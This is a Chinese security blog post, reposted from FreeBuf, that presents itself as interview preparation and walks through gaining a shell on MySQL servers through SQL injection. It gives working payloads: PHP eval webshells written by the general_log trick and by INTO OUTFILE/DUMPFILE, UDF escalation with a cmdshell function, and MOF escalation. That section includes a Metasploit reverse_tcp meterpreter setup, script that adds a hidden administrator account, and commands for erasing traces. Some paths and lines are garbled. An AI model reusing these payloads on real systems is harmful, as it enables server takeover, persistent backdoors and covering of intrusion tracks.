SQL注入Getshell的奇思妙想(下)

admin 2022年5月27日21:15:45安全文章评论23 views3811字阅读12分42秒阅读模式

SQL注入Getshell的奇思妙想(下)

前言

由于笔者发现大量的hr面试官都喜欢从SQL注入开始询问,所以留心了一下关于SQL注入的问题的频率。结果非常amazing啊!不出意外的是--os-shell名列榜首。

但是啊由于我们不能被面试官所引导,这样太被动啦!我们应该引导hr问我们擅长的方向,扬长避短;所以我们可以继续和他们讨论除了日志和--os-shell外,还有UDF提权与MOF提权。这个时候就体现了下面这篇文章的重要性!

SQL注入Getshell的奇思妙想(下)

Getshell之堆叠注入

堆叠注入写shell(日志注入步骤)
  • 堆注入主要是利用到了Mysql的日志来进行写shell,payload如下:
set global general_log = "ON";set global general_log_file='C:/wamp64/www/ma.php';select '<?php eval($_POST[cmd]);?>';
  • 然后用冰蝎连接,就可以进行攻击
补充:UNC路径(UNC路径就是类似softer这样的形式的网络路径;它符合 servernamesharename 格式,其中 servername 是服务器名,sharename 是共享资源的名称)UNC路径是concat函数内的字符串,代表去访问一个域名下的abc文件夹,此处查询的域名属于dnslog的子域名,在访问的过程中,解析记录会被保存;又因为load_file()函数访问的是文件,所以域名后面需要添加/abc

联合查询写shell

当可以使用联合查询时,通过构造payload:
union select 1,'<?php eval($_POST[123]);?>' INTO OUTFILE '/var/www/html/test.php' #union select 1,'<?php eval($_POST[123]);?>' INTO dumpfile '/var/www/html/test.php'#
关于outfiledumpfile的区别:
outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径,但是值的部分可以时16进制

在使用outfile时,文件中一行的末尾会自动换行,且可以导出全部数据,同时如果文本中存在n等字符,会自动转义成n,也就是会多加一个

outfile函数可以导出多行,而dumpfile只能导出一行数据;outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式

而使用dumpfile时,一行的末尾不会换行且只能导出部分数据(这里比较数据比较少,没有体现出来);但dumpfile不会自动对文件内容进行转义,而是原意写入(这就是为什么我们平时UDF提权时使用dumpfile来写入的原因)

SQL注入Getshell的奇思妙想(下)

UDF提权

漏洞原理

自定义函数,是数据库功能的一种扩展。用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像调用本机函数 version() 等方便。

补充:如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 libplugin 文件夹下文件夹下才能创建自定义函数。

利用条件

1.sqlmap的UDF动态链接库文件位置:sqlmap根目录/data/udf/mysql
2.那么动态链接库文件去哪里找呢?实际上我们常用的工具 sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件。
3.sqlmap还自带了动态链接库,攻击者为了防止被误杀都经过编码处理过,不能被直接使用。不过可以利用 sqlmap 自带的解码工具cloak.py 来解码使用,cloak.py 的位置为:sqlmap根目录/extra/cloak/cloak.py
解码方法如下:
解码32位的windows动态链接库:python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll
其他linux和windows动态链接库解码类似;
或者直接使用metasploit自带的动态链接库,无需解码

构造payload

create table udfeval(shellcode longblob);    //创建表
insert into udfeval values(load_file('F:/udf.dll')); //在表里插入信息
select shellcode from udfeval into dumpfile 'C:\windowsudf.dll'; //将表里面的信息导出
create function cmdshell returns string soname 'D:/phpstudy/sqlibs/MySQL5.7.26/lib/plugin/udf.dll';
select * from func; //在所有表中查找func
select cmdshell('whoami'); //进行whoami命令执行
补充
  • 原生的php方法是不支持的,得使用使用 PDO,mysqli_multi_query()才可能存在堆注入

  • 如果数据库使用了phpmyadmin来管理数据库,且存在弱口令,我们也可以使用这种方法来通过phpmyadmin来执行上述命令达到写shell的目的

  • general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。使用SHOW VARIABLES LIKE 'general%'命令来查看默认的log位置,实际渗透中建议将该值保存下来,便于利用结束时将该字段还原

优缺点

我使用sqlmap写webshell,知道了网站的根目录,还是写不进去。就是由于secure_file_priv的值为NULL。那怎么知道这个值是什么呢?
答:--sql-shell;输入sql语句select @@secure_file_priv提示为NULL;所以就会出现,如下的错误


SQL注入Getshell的奇思妙想(下)

MOF提权

漏洞原理

M0F提权原理它就是利用了c:/windows/system32/wbem/mof/目录下的nullevt.mof文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行(有点像条件竞争)

利用条件

Win sever 03以后无法使用

Mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录

secure-file-priv参数不为null

构造攻击Payload

MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。
MSF脚本自动化use exploit/windows/mysql/mysql_mof
# 设置payloadset payload windows/meterpreter/reverse_tcp
# 设置目标 MySQL 的基础信息set rhosts 192.168.127.132set username rootset password rootrun
通过查找发现Payload:
var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user hacker [email protected] /add")nWSH.run("net.exe localgroup administrators hacker /add")
手工注入select load_file('D:/test.mof')into dumpfile "C:/windows/system32/wbem/mof/nullevt.mof";

优缺点

第一:版本问题,导致攻击的选择范围较小

第二:需要清理痕迹较麻烦(代码如下图所示)

net stop winmgmt
rmdir /s /q C:Windowssystem32wbemRepository
del C:Windowssystem32wbemmofgoodtest.mof /F /Snet user hacker /delete
net start winmgmt


SQL注入Getshell的奇思妙想(下)

参考链接

udf提权:https://blog.csdn.net/qq_44881113/article/details/118907122mof提权原理及其过程:https://blog.csdn.net/aiquan9342/article/details/102075462?ops_request_misc=&request_id=&biz_id=102&utm_term=mof&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-2-102075462.142%5Ev10%5Econtrol,157%5Ev8%5Econtrol&spm=1018.2226.3001.4187

作者面包and牛奶,文章转载于FreeBuf.COM

SQL注入Getshell的奇思妙想(下)

END

SQL注入Getshell的奇思妙想(下)

• 往期精选

SQL注入Getshell的奇思妙想(下)
SQL注入Getshell的奇思妙想(下)

windows提权总结

一次SSH爆破攻击haiduc工具的应急响应

记一次艰难的SQL注入(过安全狗)

记一次溯源

SQL注入Getshell的奇思妙想(下)

下方点击关注发现更多精彩

原文始发于微信公众号(银河护卫队super):SQL注入Getshell的奇思妙想(下)

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月27日21:15:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  SQL注入Getshell的奇思妙想(下) http://cn-sec.com/archives/1058238.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: